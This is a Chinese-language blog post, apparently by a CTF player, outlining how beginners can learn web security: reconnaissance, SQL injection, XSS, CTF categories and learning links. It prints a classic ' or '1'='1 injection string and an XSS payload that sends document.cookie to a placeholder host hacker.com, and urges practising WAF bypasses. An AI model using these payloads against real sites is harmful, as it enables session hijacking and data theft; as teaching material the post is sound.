这篇文章写给完全不懂安全,想学安全的人。我也很菜,有哪些说的不对的,大佬轻点喷。
我本身是做Web的,其它的可能也会涉及到,比如逆向或者其他也有,但本文主要还是针对安全基础和Web应用安全(渗透)方面。
密码是:我是萌新(当然,真正的大佬肯定有办法绕过这个特别简单的密码验证)
我的路线
先说一下我是怎么学安全的。可以参考。
我是大概高一,差不多11年左右接触的安全,高二时开始自己动手。一开始自己学了点C、然后到处找资料,各种论坛网站QQ群瞎学。我感觉我高中学的很杂,什么免杀挂马,也没人带,全靠自学。很有那个时代的味道。
上大学时,我就想学计算机,最好是信息安全。最后去了一个计算机还可以的学校读了计算机,这才开始系统的学习。因为我很明确要搞安全,大一时,进了一个实验室。实验室主要是用C#做教育系统,但是有几个人是做安全的。其中有一个大佬,通过这个大佬,我知道了CTF,走上了这条打比赛的路。这个大佬也是曾经的大陆顶尖CTF战队FlappyPig创办人之一。
因为一些理念的问题,待了一年我就离开了这个实验室。接下来一直到大三上半年我都是一个人找CTF比赛自己打,周围也不认识做安全的,就一个人单干。其中大二的时候去了一个安全公司实(mo)习(yu)了一个月,也在那里学会了一些渗透实战的技巧。大三下的时候,正逢国家重视,网络安全提升到国家层面,学院里组织了一次CTF比赛,赛后组建了CTF战队和安全社团,我也乘着在毕业之前找到了队友打了几次比赛。
我学安全还是跟着CTF来的,而且大多数是自学没人带,可以参考,但不太建议照着做。
不说关于我的废话了,下面进入正题。
技能树
GitHub上有挺多我觉得画的不错的技能树。这里是两个技能树,虽然也不太全,但是也可以参考。
更多的技能树:https://github.com/phith0n/Mind-Map
遇到看不懂的就去查,如果看不懂就不看了就永远也看不懂了。
Web安全(渗透)
需要技能:
SQL、JavaScript、一种网页编程语言(如PHP)、Python(如果会更好,不会也可以)
Web,怎么说呢,我觉得可以假设这么一个环境。
假设你是一个黑客,想黑掉一个网站,你应该怎么做?如果你不懂,那么就假设你是一个小偷(感觉不太好的比喻),想去偷某个小区的某一户人家的某一个东西。小区可能防护严密,怎么绕过重重保安?
看了那么多的法制节目,你也应该知道,小偷要偷东西,一开始要踩点。哪里防护薄弱,可不可以混进小区,如果不可以,墙上有没有洞钻进去。实战中的渗透也是这样的。信息收集,目标开放了哪些服务,哪些地方可能有漏洞,通过这个漏洞拿到了什么权限,可不可以提升权限,拿到更多的东西。看普法节目看柯南你会学到很多的作案技巧,看实际渗透过程你也会知道怎么渗透。
可能会用到一些名词,萌新可能看不懂,但是我一一解释也太费篇幅和时间,建议不会的直接百度,百度都有答案。
信息收集
信息收集一般是渗透的第一步
目标的服务可以识别服务器指纹,用了什么CMS,服务器软件是什么版本的,Apache、IIS漏洞可不可以用,服务器语言是什么,PHP、Java、ASP,用了什么数据库,MySQL、SqlServer等等。
此外,也可以使用nmap、masscan等扫描目标开放的端口看有什么服务。敏感端口有:3389、3306等等。
GoogleHacking也非常有用。(有没有熟悉小区情况的中介,他们应该比较了解小区结构)
如果直接攻击主站难度大,不妨从旁站入手。(小区正门不好进,侧门试试,有哪些侧门)
目标网站有哪些业务,哪些业务防护薄弱。(公司有哪些产品,哪些不重要没人关心)
寻找IP段,有的IP属于目标,但不绑定域名。(有的商店属于公司,但不挂公司的牌子)
SQL注入
SQL注入危害极大。比如,网页代码这么写:
1 | String query = "SELECT * FROM accounts WHEREcustID='" + request.getParameter("id") +"'"; |
那我传参id=' or '1'='1
是不是一拼接SQL语句就把所有数据给查出来了。SQL注入就是这样,通过构造恶意的请求参数来使目标的系统执行自己的SQL语句。SQL注入可以实现在目标系统上的任意命令执行,拿下服务器也很有可能,常常是攻击的首选方法,而且成功率还不低。
接下来开拓一下思路。如果,服务器有WAF(防火墙),对用户输入进行了过滤,比如不能输入or、空格、select等等,怎么绕过防火墙来实现自己想执行的SQL语句呢。
XSS(跨站脚本)
SQL注入是执行自己的SQL语句,那么XSS就是执行自己的JS脚本。如果网页代码这么写:
1 | page+="<inputname='creditcard'type='TEXT‘value='"+request.getParameter("CC")+"'>"; |
那我传参
1 | '><script>document.location='http://hacker.com/xss.php?foo='+document.cookie</script> |
就把受害者的cookie传到了我的服务器之上,获取了cookie就可以劫持用户当前会话。
同样,XSS也可以通过WAF防御,怎么绕过呢。
其它
其实我觉得,新手入门,刚开始能掌握SQL注入和XSS就可以了,当这两个熟悉后,自然会自发的去了解掌握其它的攻击手段,这里不详细介绍了,就说一些攻击方法和常用的东西吧,有兴趣的自己去查。
- SSRF
- CSRF
- 文件上传漏洞
- 一句话木马(大马、小马、webshell)
- SqlMap
- Kali
- 公开漏洞的利用(CVE、exp、poc这些是啥)
- ……想起来再补充
不妨去看看别人是怎么渗透的吧。以前有一个很好的网站叫乌云(wooyun),现在已经没了,不过还有在其关站前的镜像(http://wooyun.2xss.cc/bugs.php https://github.com/hanc00l/wooyun_public )。
CTF
我是打CTF的,安全很多也是从CTF里学到的。通过CTF学习技术特别快。
搞算法的有ACM,搞安全的有CTF(Capture The Flag)。CTF就是给你一个存在漏洞的环境,你去攻击,找到藏在目标环境中的答案(flag)。主要有两种比赛类型:Jeopardy(解题)、AWD(Attack With Defence/攻防)。
一般题目类型有:
- Web:涉及到常见的Web漏洞,如注入、XSS、文件包含、代码执行、上传、SSRF、XXE、序列与反序列化等等
- Reverse:逆向,涉及到软件逆向、破解、反汇编、反编译
- PWN:溢出类题目,常见有栈溢出,堆溢出,在比赛中越来越常见越来越多,也越来越重要(PWN爷爷)
- Crypto:密码学,各种加解密技术,包括古典加密技术、现代加解密技术甚至出题者自创加密技术
- Misc:杂项,乱七八糟什么都有可能放在这里,隐写、取证、流量分析常见
可以去主动的参加一些CTF比赛,没有比赛也有一些CTF的靶场。一般做完题会有人发解题思路(Writeup),不会做也可以尝试复现,慢慢就学会了。
列一点靶场:
https://harrynull.tech/cipher/
比赛:
https://captf.com/practice-ctf/
https://www.xctf.org.cn/ctfs/recently/
我也会写一些Writeup: http://willv.cn/writeups/
学习链接
文章中的链接还有一些其他的链接,这里发一下
各种安全相关思维导图整理收集:https://github.com/phith0n/Mind-Map
猪猪侠《我的白帽学习路线》:https://github.com/ring04h/papers/blob/master/我的白帽学习路线--20170325.pdf
Software-Security-Learning:https://github.com/CHYbeta/Software-Security-Learning
Web-Security-Learning:https://github.com/CHYbeta/Web-Security-Learning
从零开始内网渗透学习:https://github.com/l3m0n/pentest_study
个人域渗透学习笔记:https://github.com/uknowsec/Active-Directory-Pentest-Notes
OWASP Top10:http://www.owasp.org.cn/owasp-project/2017-owasp-top-10
Freebuf:https://www.freebuf.com/
看雪安全论坛:https://bbs.pediy.com/
安全文摘:http://wiki.ioin.in/